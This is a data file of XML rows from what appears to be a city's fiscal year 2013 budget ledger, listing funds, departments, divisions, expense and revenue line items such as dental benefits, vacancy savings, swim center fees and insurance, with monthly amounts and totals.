<row _id="2592"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>722.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>722.0</total></row>
<row _id="2593"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1438.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1438.0</total></row>
<row _id="2594"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>544010.0</object><object_description>SPECIAL DEPARTMENT SUPPLIES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>38363.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>38363.0</total></row>
<row _id="2595"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>274.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>274.0</total></row>
<row _id="2596"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>207</division_id><division_name>COMMUNITY &amp; GOVT RELATIONS</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1815.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>18</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1833.0</total></row>
<row _id="2597"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>222</division_id><division_name>FINANCIAL OPERATIONS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-53170.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-53170.0</total></row>
<row _id="2598"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>245</division_id><division_name>SOFTWARE SYSTEMS</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-34288.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-34288.0</total></row>
<row _id="2599"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>304</division_id><division_name>ADMINISTRATIVE SERVICES DIV</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-279690.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>26088</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-253602.0</total></row>
<row _id="2600"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>511900.0</object><object_description>VACANCY SAVINGS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>-89995.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-89995.0</total></row>
<row _id="2601"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3476.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>567</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4043.0</total></row>
<row _id="2602"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>407611.0</object><object_description>CITY WI-FI ADVERTISING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-5000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="2603"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511741.0</object><object_description>MEDICAL - POLICE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>17913.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>17913.0</total></row>
<row _id="2604"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>227</division_id><division_name>OFFICE OF EMERGENCY MANAGEMENT</division_name><object>511920.0</object><object_description>UNIFORM / TOOL ALLOWANCE</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>960.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>960.0</total></row>
<row _id="2605"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>247</division_id><division_name>WEB DEVELOPMENT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2742.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2742.0</total></row>
<row _id="2606"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>37721.0</july><august>-1262</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>-2537</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>33922.0</total></row>
<row _id="2607"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>222415.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>222415.0</total></row>
<row _id="2608"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401002.0</object><object_description>SWIM CENTER-REC/LAP SWIM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-204809.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-204809.0</total></row>
<row _id="2609"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>401009.0</object><object_description>SWIM CENTER-AQUATIC SUPPLIES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-10558.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-10558.0</total></row>
<row _id="2610"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>1938.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>19</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1957.0</total></row>
<row _id="2611"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2180.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2180.0</total></row>
<row _id="2612"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>25682.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>25682.0</total></row>
<row _id="2613"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>39013.0</july><august>0</august><september>0.0</september><october>-10000.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>29013.0</total></row>
<row _id="2614"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2435.0</july><august>0</august><september>0.0</september><october>-900.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1535.0</total></row>
<row _id="2615"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1379.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1379.0</total></row>
<row _id="2616"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>403820.0</object><object_description>SUMMER FOOD SERVICE PROGRAM</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-22045.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-22045.0</total></row>
<row _id="2617"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>3143.0</july><august>0</august><september>0.0</september><october>-900.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2243.0</total></row>
<row _id="2618"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1548.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1548.0</total></row>
<row _id="2619"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>341.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>3</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>344.0</total></row>
<row _id="2620"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561700.0</object><object_description>TEMP RELOCATION FOOD PROVIDERS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>12000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>12000.0</total></row>
<row _id="2621"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>407790.0</object><object_description>CHILDCARE LINKAGE FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-45000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-45000.0</total></row>
<row _id="2622"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>50000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>50000.0</total></row>
<row _id="2623"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>4487.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>4487.0</total></row>
<row _id="2624"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>2227.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>22</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2249.0</total></row>
<row _id="2625"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>243</division_id><division_name>ADMINISTRATION (INFO SYS)</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>288.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>288.0</total></row>
<row _id="2626"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>6282.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>63</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>6345.0</total></row>
<row _id="2627"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>244</division_id><division_name>SYSTEMS &amp; NETWORKS</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>792.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>792.0</total></row>
<row _id="2628"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>404430.0</object><object_description>MAIN STREET PARKING LOTS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2013</fiscal_year><july>-1020000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>1020000</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="2629"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>94434.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>94434.0</total></row>
<row _id="2630"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>268</division_id><division_name>ECONOMIC DEVELOPMENT</division_name><object>522910.0</object><object_description>VEHICLES - FUELS / LUBRICATION</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>510.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>510.0</total></row>
<row _id="2631"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>11114.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>11114.0</total></row>
<row _id="2632"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2013</fiscal_year><july>5110.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>51</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>5161.0</total></row>
<row _id="2633"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>522040.0</object><object_description>INSURANCE AND BONDS</object_description><category_code>860.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>2374053.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>2374053.0</total></row>
<row _id="2634"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>1000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>1000.0</total></row>
<row _id="2635"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>70000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>70000.0</total></row>
<row _id="2636"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>58</fund_id><fund_name>Risk Management - Admin</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>229</division_id><division_name>RISK MANAGEMENT-ADMIN</division_name><object>402260.0</object><object_description>PROPERTY INSURANCE</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2013</fiscal_year><july>-2364344.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-2364344.0</total></row>
<row _id="2637"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533040.0</object><object_description>SPECIAL INSURANCE</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2013</fiscal_year><july>3000.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>3000.0</total></row>
<row _id="2638"><ledger_type>B1</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>269</division_id><division_name>HOUSING SERVICES</division_name><object>400882.0</object><object_description>SPC HAP TRA</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2013</fiscal_year><july>-1585798.0</july><august>0</august><september>0.0</september><october>0.0</october><november>0</november><december>0</december><january>0.0</january><february>0</february><march>0.0</march><april>0</april><may>0</may><june>0.0</june><total>-1585798.0</total></row>
